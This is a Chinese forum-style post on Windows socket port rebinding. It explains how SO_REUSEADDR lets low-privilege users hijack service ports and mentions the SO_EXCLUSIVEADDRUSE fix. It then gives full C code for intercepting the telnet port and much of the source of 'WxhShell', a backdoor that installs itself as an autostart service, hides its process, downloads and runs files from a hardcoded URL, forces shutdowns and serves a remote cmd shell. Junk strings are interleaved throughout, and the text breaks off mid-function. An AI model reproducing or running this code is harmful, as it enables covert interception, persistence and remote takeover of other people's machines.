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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %\r!7@Q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8o0%@5M )R
2. saddr.sin_family = AF_INET; HcV"X,7S s nnbb0J saddr.sin_addr.s_addr = htonl(INADDR_ANY); /2Bi@syxK /E5 5Pec bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^:* 1d
\ ?Wt$6{) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pd8Nke 'ao"9-c 这意味着什么?意味着可以进行如下的攻击: s)2fG\1 {aC!~qR 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &F5@6nJ` Bk\Gj`"7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z,:a8LB#[ 6]pX>Xho 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T%n2$ !o+_T? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 BQ2wnGc BC;: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,b;{emX h _#}n~}d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PF7&p~O(Z JA_BKA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4bJZmUb Mz;[ +p #include xOHgp=#D #include [mr9(m[F #include m7GR[MR
#include u=/CRjot DWORD WINAPI ClientThread(LPVOID lpParam); U*P. :BvG int main() *(>}Y { dG71*)<)t WORD wVersionRequested; }sFm9j7yR DWORD ret; Iu*^xn WSADATA wsaData; C2w2252T BOOL val; 5W@jfh) SOCKADDR_IN saddr; v[n7" SOCKADDR_IN scaddr; D.6,VY H int err; -+em!g' SOCKET s; 'EfR|7m SOCKET sc; 4r0b)Y&I int caddsize; k8uvNLA)a HANDLE mt; {E0z@D)U- DWORD tid; LW:LFzp wVersionRequested = MAKEWORD( 2, 2 ); D^;*U[F? err = WSAStartup( wVersionRequested, &wsaData ); .*JA!B if ( err != 0 ) { F5qFYL; printf("error!WSAStartup failed!\n"); AkT<2H|4 return -1; A
&9(mB } okFvn; saddr.sin_family = AF_INET; T'aec]u 7 +@qB]Bi< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4~OQhiJ R?EASc!b saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }AvcoD/b saddr.sin_port = htons(23); N9<Ujom if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h}Wdh1.M3 { 1uk0d`JL printf("error!socket failed!\n"); 3o|I[!2. return -1; ,mL
!(US } o!r8{L val = TRUE; <JwX_\?ln //SO_REUSEADDR选项就是可以实现端口重绑定的 !;!~n` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b2b75}_A { +EM_TTf4 printf("error!setsockopt failed!\n"); &h,5:u return -1; ,*@AX> } NCf"tK'5n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,xT?mt}P //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e%>b+Sv //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \OpoBXh *I?Eb-!t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T4;T6 9j;, { _ZAch zV ret=GetLastError(); 45H!;Qsk printf("error!bind failed!\n"); ec|/ / return -1; >u(>aV|A } vkRi5!bR listen(s,2); :p4 "IeKs while(1) L~^*u_U] { M-uMZQe caddsize = sizeof(scaddr); lRP1&FH0 //接受连接请求 B,(Heg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0J8K9rP;z if(sc!=INVALID_SOCKET) x4#T G { M}hrO-C mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {+g[l5CR[ if(mt==NULL) X{-9FDW { 9OfFM9(: printf("Thread Creat Failed!\n"); =[<m[.)i break; g+C!kaC) } S?0)1O } $,hwU3RVxc CloseHandle(mt); ozr9>b>M } 2`=6 %s
closesocket(s); sF+=KH WSACleanup(); #DkD!dW(l return 0; ;bX4(CMe
& } H2-28XGc DWORD WINAPI ClientThread(LPVOID lpParam) @lUlY2 { te4= S
SOCKET ss = (SOCKET)lpParam; (,xZGa SOCKET sc; jRpdft unsigned char buf[4096]; 2~;&g?T6 SOCKADDR_IN saddr; 0%;146.p long num; ^aRgMuU DWORD val; s/1 #DM" DWORD ret; KIVH!2q; //如果是隐藏端口应用的话,可以在此处加一些判断 8S;CFyT\n //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]^\8U2q} saddr.sin_family = AF_INET; b r,+45: saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xqHL+W saddr.sin_port = htons(23); m$$?icA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h.whjiCFa { *xM/;) printf("error!socket failed!\n"); [&P`ak return -1; Ld|V^9h1; } ~L+]n0* val = 100; ^Dx#7bsDZR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]wuy_+$ { G7* h{nE ret = GetLastError(); cUDg M return -1; !@
YXZ } nD,{3B#
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;</Twm;: { (w2=
2$ ret = GetLastError(); wX'}4Z=C~ return -1; $rG<uO } B">yKB:D}t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3An(jt$%Q { 5`E))?*"Pe printf("error!socket connect failed!\n"); \T-~JQVj closesocket(sc); `HX3|w6W; closesocket(ss); 1ZKzumF return -1; H "+c)FGi } R.1Xst &i while(1) 2go> { 1=Ilej1 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f8:$G.}i //如果是嗅探内容的话,可以再此处进行内容分析和记录 p`+VrcCBOd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /4joC9\AB num = recv(ss,buf,4096,0); hPufzhT if(num>0) N)43};e send(sc,buf,num,0); Kv+Bfh else if(num==0) e4qj .b break; hE!7RM+Y num = recv(sc,buf,4096,0); ]X" / yAn if(num>0) CJqc\I~ send(ss,buf,num,0); E:VGji7s else if(num==0) <uF [, break; `%E9xcD% } ~r`Wr`]_ z closesocket(ss); G+Dpma ] closesocket(sc); ;WI]vn return 0 ; j.QHkI1. } z*.v_Mx "jZm0U$,* e!o(g&wBj ========================================================== cj(X2L Gidkt;lj 下边附上一个代码,,WXhSHELL f:%SW DA
LQ<iF ========================================================== DcFCKji i@$-0%, #include "stdafx.h" *e<_; Kr? _F8T\f| #include <stdio.h> LC'2q*:' #include <string.h> Gm&2R4 )EP #include <windows.h> U4_"aT>My #include <winsock2.h> J`Oy .Qu) #include <winsvc.h> cztS]dcf>~ #include <urlmon.h> w6EI{ |R'i:= #pragma comment (lib, "Ws2_32.lib") ]M4NpUM #pragma comment (lib, "urlmon.lib") Tj,2r]g`< v'nHFC+p #define MAX_USER 100 // 最大客户端连接数 i f@W
]% #define BUF_SOCK 200 // sock buffer iUNnPJh #define KEY_BUFF 255 // 输入 buffer aW@oE
~` PqhlXqX9 #define REBOOT 0 // 重启 A ^B@VuK #define SHUTDOWN 1 // 关机 s -Y +x A!;meVUs #define DEF_PORT 5000 // 监听端口 glor+ >RR<eYu7m #define REG_LEN 16 // 注册表键长度 /`R dQ<($ #define SVC_LEN 80 // NT服务名长度 D_aR\ "3t\em! // 从dll定义API ,35Ag#va typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); deM~[1e[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~N[|bPRmhE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3zb)"\(R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ma7fDo0,`h slSR=XOG // wxhshell配置信息 zH+<bEo=1= struct WSCFG { P|N?OocE int ws_port; // 监听端口 tQ0=p|
T] char ws_passstr[REG_LEN]; // 口令 ]hUKuef int ws_autoins; // 安装标记, 1=yes 0=no ?-{IsF^ char ws_regname[REG_LEN]; // 注册表键名 )[DpK=[N^p char ws_svcname[REG_LEN]; // 服务名 ;xW{Ehq-h char ws_svcdisp[SVC_LEN]; // 服务显示名 Mw|SH;nM char ws_svcdesc[SVC_LEN]; // 服务描述信息 #KJZR{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ' PL_~ int ws_downexe; // 下载执行标记, 1=yes 0=no s?<!&Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" +UaO<L
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dP3VJ3+
% t~~r-V": }; kGj]i@(PA4 o*)@oU // default Wxhshell configuration g*r/u; struct WSCFG wscfg={DEF_PORT,
STp!8mL "xuhuanlingzhe", 5 V rcR=?O 1, u-M] Az- "Wxhshell", u~)%tL "Wxhshell", y7;
5xF?q "WxhShell Service", Heohe|an "Wrsky Windows CmdShell Service", t;XS;b% "Please Input Your Password: ", *cy.*@d 1, T]X{@_
" http://www.wrsky.com/wxhshell.exe", Dtt\~m;AR "Wxhshell.exe" j@V$Mbv }; $Q,n+ / n%U9iwJ. // 消息定义模块 UNY@w=]< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }1\?()rB char *msg_ws_prompt="\n\r? for help\n\r#>"; Y(W{Jd+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; rUvwpP"k char *msg_ws_ext="\n\rExit."; 2q|_Dma char *msg_ws_end="\n\rQuit."; (>r|j4$ char *msg_ws_boot="\n\rReboot..."; ,{TQ
~LP char *msg_ws_poff="\n\rShutdown..."; ,@,LD u char *msg_ws_down="\n\rSave to "; /W``LK>;? }*ODM6 char *msg_ws_err="\n\rErr!"; Z
c<]^QR char *msg_ws_ok="\n\rOK!"; A<;0L . J I &cX8Tw char ExeFile[MAX_PATH]; Cd9t{pQD4 int nUser = 0; r"1A`89 HANDLE handles[MAX_USER]; c_[ JjG^?P int OsIsNt; XNK
43fkB. L<"k7)k SERVICE_STATUS serviceStatus; Cea"qNq=k SERVICE_STATUS_HANDLE hServiceStatusHandle; |H<|{{E n=r=u'oi // 函数声明 0 c,bet{m int Install(void); dgm+U%E int Uninstall(void); }P16Xb)p int DownloadFile(char *sURL, SOCKET wsh); % M+s{ l int Boot(int flag); /;b.-v& void HideProc(void); x1:vUHwC int GetOsVer(void); lW&[mnR int Wxhshell(SOCKET wsl); AtuZF
void TalkWithClient(void *cs); (J/>Gy)d int CmdShell(SOCKET sock); NywB3 int StartFromService(void); j5'. P~ int StartWxhshell(LPSTR lpCmdLine); 2;O c^ T?ZOHH8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %pd5w~VP VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?#U0eb5u `$f\ % // 数据结构和表定义 %d ZM9I0 SERVICE_TABLE_ENTRY DispatchTable[] = JPHUmv6 { a{5H33JA {wscfg.ws_svcname, NTServiceMain}, rkbl/py {NULL, NULL} 5~*=#v:` }; a_xQ~:H d!w1t=2H // 自我安装 0%#t[usY int Install(void) ?i/73H+;D3 { uFMs^^# char svExeFile[MAX_PATH]; a =9vS{ HKEY key;
>_n:_ strcpy(svExeFile,ExeFile); 4b]IazL) 9F/|` // 如果是win9x系统,修改注册表设为自启动 1g+LF[*-~ if(!OsIsNt) { (tgEa{rPAP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WvIK=fdZ$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x0y%\ RegCloseKey(key); cvn-*Sj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =H
L9Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iM4mkCdOO RegCloseKey(key); 7^`RP e^a+ return 0; nm<L&11 } p, !1 3X } (Be$$W } R
%Rv else { N=hSqw[ 3`mC"ab / // 如果是NT以上系统,安装为系统服务 ::kpl2r\c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B'NS&7+]. if (schSCManager!=0) 9)1P+c-- { B b$S^F(Xq SC_HANDLE schService = CreateService Rv0-vH.n ( ;:-}z.7Y schSCManager, ?S+/QyjcfJ wscfg.ws_svcname, 2pVVoZV.< wscfg.ws_svcdisp, j*zB
{ s
K SERVICE_ALL_ACCESS, sxf}Mmsk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ADuZ}] SERVICE_AUTO_START, *'kC8ZR5 SERVICE_ERROR_NORMAL, /W7&U
=d9 svExeFile, aY3pvOV NULL, {LjK_J' NULL, x(exx
)w NULL, o}5'v^"6, NULL, )G}sb*+v? NULL
J(H??9(s ); { mK pD if (schService!=0) [~zE,! { ju
@%A@s CloseServiceHandle(schService); H@VBP
Q}Q CloseServiceHandle(schSCManager); :7zI3Ml@7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1c1e+H strcat(svExeFile,wscfg.ws_svcname); EU`'
8*4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \"<GL; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yQ72v' RegCloseKey(key); D'U\]'. return 0; 0Og/47dO.2 } m-Mhf; } e7)> U!9c9 CloseServiceHandle(schSCManager); Br_3qJNVP } G <} 7vF } MVu[gB !XG/,)A return 1; ]~4}(\u } $i5G7b ^hGZVGSv // 自我卸载 #t5JUi%in* int Uninstall(void) _dH[STT { &q"uy:Rd HKEY key; [U+<uZzOC U O{xpY if(!OsIsNt) { +4p2KYO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -NI@xJO4(; RegDeleteValue(key,wscfg.ws_regname); HzFt RegCloseKey(key); kC,DW%Ls if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jHUz`.8B RegDeleteValue(key,wscfg.ws_regname); SO8|]Fk RegCloseKey(key); -h.3M0 return 0; A=l?IC@O } \f<thd*bC } *1;L,*J"| } f(zuRM^5 else { iIC9rso"Q1 eN7yjd'Y6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )G F if (schSCManager!=0) Xl
'\krz { iI/'!85 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r.W"@vc> if (schService!=0) YpbdScz { 5,I*F9[3 if(DeleteService(schService)!=0) { u]++&~i CloseServiceHandle(schService); $;g%S0:3) CloseServiceHandle(schSCManager); q0xE&[C[M return 0;
_j?=&tc } tL
9e~>,` CloseServiceHandle(schService); )l/C_WEK } p-ii($~} CloseServiceHandle(schSCManager); v6,
o/3Ex } 2oNPR+
- } &~f*q?xR gP"Mu#/D return 1; ABS
BtH ? } Mz#S5 s o::ymAj // 从指定url下载文件 z8rh*Rfxd int DownloadFile(char *sURL, SOCKET wsh) \ {E;u'F { bN~'cs8 e HRESULT hr; ;L/T}!Dx char seps[]= "/"; >G -?e! char *token; MYW 4@# char *file; OYCFx2{ char myURL[MAX_PATH]; ,4?|}xg char myFILE[MAX_PATH]; hJL0M! 3hpz.ISk strcpy(myURL,sURL); Et[QcB3 token=strtok(myURL,seps); hgMnO J while(token!=NULL) .<|4PG { Y$DgL
h file=token; *1 eTf token=strtok(NULL,seps); '3kL=( } aABE= 9Y x[h<3V" GetCurrentDirectory(MAX_PATH,myFILE); ?&t|?@ strcat(myFILE, "\\"); H'(o}cn7~ strcat(myFILE, file); 8`R}L send(wsh,myFILE,strlen(myFILE),0); bKbpI>;[ send(wsh,"...",3,0); Zm'::+tl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wBaFC\CW if(hr==S_OK) 4~J1pcBno% return 0; /$N#_Xblr else JT+lWhy return 1; MyS7AL 'c\TMb. } b|C,b"$N0 XdXS^QA.s // 系统电源模块 ^i,0n}> int Boot(int flag) F[qIfh4
{ jjlCi<9CQ^ HANDLE hToken; ;`Ch2b1+ TOKEN_PRIVILEGES tkp; $/sZYsN~T Q\th8/ / if(OsIsNt) { 'm.XmVZL% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t7`Pw33#kY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a!]QD` tkp.PrivilegeCount = 1; Jd_1>p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ih0>]h-7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z`Eb
L if(flag==REBOOT) { Yoym5<xE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T;e (Q,!H return 0; V$]a&wM<5 } V?pO ~qo else { HK4`@jYQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XhkL))FcG return 0; (E]K)d } IpVwn Nj!} } [A/+tv else { #1lS\! if(flag==REBOOT) { a-A4xL.gm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h]z|OhG return 0; {xx;zjt%}} } SNV+.xN else { gKH"f%lK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +as\>"Cj+2 return 0; .0/Z'.c8 } E;e2{@SX2K } ])";Z YQd&rkr return 1; bI0+J) } ~Am
%%$ 17i@GnbNb // win9x进程隐藏模块 .j@n6RyN void HideProc(void) @ dU3d\!} { 4'e8VI0 'F<e )D? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^bw~$*"j# if ( hKernel != NULL ) ATkqzE`; { Sgk{NM7|k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %R5MAs&-5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -]MP,P% FreeLibrary(hKernel); tm#y`1- } JS.'v7 0-O.*Q^ return; \crmNH)3 } X-WvKH(=w fmyS#
6" // 获取操作系统版本 dfd%A"
I int GetOsVer(void) B{u.Yc: { F?4'>ZW OSVERSIONINFO winfo; *qOCo_=P8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;a77YLTQ GetVersionEx(&winfo); &3/H
P)*<] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f
}e7g d]M return 1; *wx^mB9 else +Rd{ ?)2~ return 0; 25KZe s) } U?C{.@#w O/"&?)[v // 客户端句柄模块 7im;b15j`' int Wxhshell(SOCKET wsl) "qp_*Y { tHo/uW_~I SOCKET wsh; c8W=Is` struct sockaddr_in client; :Bc;.% DWORD myID; ! (tJZ5 +\m!#CSA while(nUser<MAX_USER) eW<hC( { Sgy~Z^ int nSize=sizeof(client); JFkjpBS wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aDEP_b; if(wsh==INVALID_SOCKET) return 1;
'Z}$V* HAdm, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lO@Ba;x if(handles[nUser]==0) X28WQdP,7 closesocket(wsh); 6u8fF|s else a
OHAG nUser++; Darkj>$\ }
8eLL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7dW&|U ,~w)@.
return 0; .U
{JI\ } S-dV rrq-so1u}
// 关闭 socket 'D{abm0 void CloseIt(SOCKET wsh) k}gs;|_ { E':Z_ ^4 closesocket(wsh); zK;t041e nUser--; 351'l7F\ ExitThread(0); ?Fw/c0 } \`x'g)z(i a#$%xw // 客户端请求句柄 'IszS!kY void TalkWithClient(void *cs) S?<Qa; { l"#,O$x"#@ V&85<Y%Nl| SOCKET wsh=(SOCKET)cs; s*Ll\# char pwd[SVC_LEN]; ],4LvIPD char cmd[KEY_BUFF]; [V~bo/n char chr[1]; |-<L :% int i,j; Reo0ZU> wtyu"=
while (nUser < MAX_USER) { e2F7G>q:5 sP!qv"u if(wscfg.ws_passstr) { mer{Jys if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rl8-a8j$f. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~VKXL,. //ZeroMemory(pwd,KEY_BUFF); $T0[ i=0; sP7 (1)\ while(i<SVC_LEN) { R~([ C]cw@:o% // 设置超时 >i<-rO>kN fd_set FdRead; 9x\G(w struct timeval TimeOut; @TDcj~oR? FD_ZERO(&FdRead); m+ YgfR FD_SET(wsh,&FdRead); ]y
e TimeOut.tv_sec=8; J>Ha$1}u/ TimeOut.tv_usec=0; f|)t[,c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NST6pu\,U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~Otf
" < T~E83Jw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /|f]L9)2< pwd =chr[0]; e^TF.D?RS if(chr[0]==0xd || chr[0]==0xa) { +V^_ksi\ pwd=0; 6iC:l%|u break; h'+ swPh } }rZp(FG@* i++; ,5,4 Qf7 } =G :H)i :W"ITY( // 如果是非法用户,关闭 socket 2)YLs5>W% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5**xU+& } xl$ Qw' u1l#k60 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3-5lO# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EQ -\tWY I5,Fh> while(1) { 3IIlAzne; z7o59& ZeroMemory(cmd,KEY_BUFF); o-_a0j crQuoOl7 // 自动支持客户端 telnet标准 eNX-2S j=0; hv6>3gbr while(j<KEY_BUFF) { =v-D}eJQ= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q6dq@ cmd[j]=chr[0]; S6
*dp68 if(chr[0]==0xa || chr[0]==0xd) { .67W\p cmd[j]=0; "]<Ut{Xb break; .xx9tP}Xy } @B6[RZ R j++; [sBD|P;M } _=b[b]Ec$s w# ['{GL // 下载文件 Y9N:%[ :>W if(strstr(cmd,"http://")) { (;N_lF0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~JJv 2 if(DownloadFile(cmd,wsh)) *zcH3a,9"x send(wsh,msg_ws_err,strlen(msg_ws_err),0); p5\b&~
g else tx.sUu6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); apXq$wWq{D } 'Tn$lh else { 5ym
=2U G(>a LF switch(cmd[0]) { 6*E7} s$;v )w$ // 帮助 UZ$p wjC case '?': { -9mh|&z` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BshS@"8r break; y<
84Gw_ } 5o?bF3 // 安装 /dAIg1ra case 'i': { YL]x>7T~4t if(Install()) /D12N'VaE send(wsh,msg_ws_err,strlen(msg_ws_err),0); fg2}~02n else A+'j@c\&! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (+@H !>r$$ break; y=CemJ[~ } GZ"O%:d // 卸载 iiu\_ a=0b case 'r': { No?pv" if(Uninstall()) Kxq~,g=t send(wsh,msg_ws_err,strlen(msg_ws_err),0); UU_k"D~ else lPH]fWt< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *m2:iChY break; {r"HR%*u } Cpl\}Qn // 显示 wxhshell 所在路径 lH[N*9G( case 'p': { e>[QF+e)y char svExeFile[MAX_PATH]; %}@^[E) strcpy(svExeFile,"\n\r"); &\A$Rj) strcat(svExeFile,ExeFile); P)3e^~+A send(wsh,svExeFile,strlen(svExeFile),0); BkcOsJIz break; nxG vh4'i8 } jGt[[s
// 重启 p&7>G-. case 'b': { xk,E
A U send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MxY CMe4S[ if(Boot(REBOOT)) qz 'a.]{= send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wl1%BN0> else { 2axH8ONMu closesocket(wsh); c7'Pzb)' ExitThread(0); qhogcAvE } E7N1B*KI break; fgNEq } D,2,4h!ka // 关机 "|hmiMdGB case 'd': { 2`;
0y M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y!KGJ^.mF
if(Boot(SHUTDOWN)) b[$>HB_Na send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0YXgQa else { l)?c3 closesocket(wsh); {w2<;YXj! ExitThread(0); F](kU#3"S } "*UHit;"+{ break; 1iUy*p65: } BQm H9g|2 // 获取shell T =:^k+ case 's': { E|No$QO) CmdShell(wsh); I)6)~[:' closesocket(wsh); %f@]- ExitThread(0); bygwoZ<E break; "UE'dWz } UXd\Q'' // 退出 pJ{sBp_$ case 'x': { _rSnp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
@521zi CloseIt(wsh); zITXEorF!J break; qh=lF_%uj } )J0'We // 离开 sx6`
g; case 'q': { ='~C$% send(wsh,msg_ws_end,strlen(msg_ws_end),0); P", 53R+" closesocket(wsh); EPyFM_k WSACleanup(); MVV<&jho{^ exit(1); En1pz\' break; 7.]ZD`"Bb } gbF.Q7?$u } JTVCaL3Z } tL D.e *F=wMWa // 提示信息 2Ddrxc>48 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hF6EOCY6D } BONM:(1 } 55Jk "V#8 Q|:\ return; mgS%YG } @n<WM@|l B;^7Yu0, // shell模块句柄 oSxHTbp? int CmdShell(SOCKET sock) .a$][Jny { ++xEMP) STARTUPINFO si; KVJiCdg- ZeroMemory(&si,sizeof(si)); DI+kO(S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -BR&b2 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ucv-}oa-? PROCESS_INFORMATION ProcessInfo; HZR~r:_
i char cmdline[]="cmd"; NX$$4<A1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uRJLSt9m return 0; f ^z7K } (ZDRjBth[ xZBmQ:s',S // 自身启动模式 i4AmNRs int StartFromService(void) C5F}*]E[y { hb`(d_= 7F typedef struct $BCqz! 4K { Si!W@Jm DWORD ExitStatus; w+ bMDp DWORD PebBaseAddress; ]kR 93 DWORD AffinityMask; U1dz:OG> DWORD BasePriority; ,_p_p^Ar\4 ULONG UniqueProcessId; ]ZZ7j ULONG InheritedFromUniqueProcessId; iz>a0~(K } PROCESS_BASIC_INFORMATION; pS9CtQqvgy Ju+r@/y% PROCNTQSIP NtQueryInformationProcess; s(F^P a(!:a+9WOP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A:>G: X5t static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jPhOk>m 9J*m!-hOY HANDLE hProcess; P$\(Bd\76 PROCESS_BASIC_INFORMATION pbi; W%)
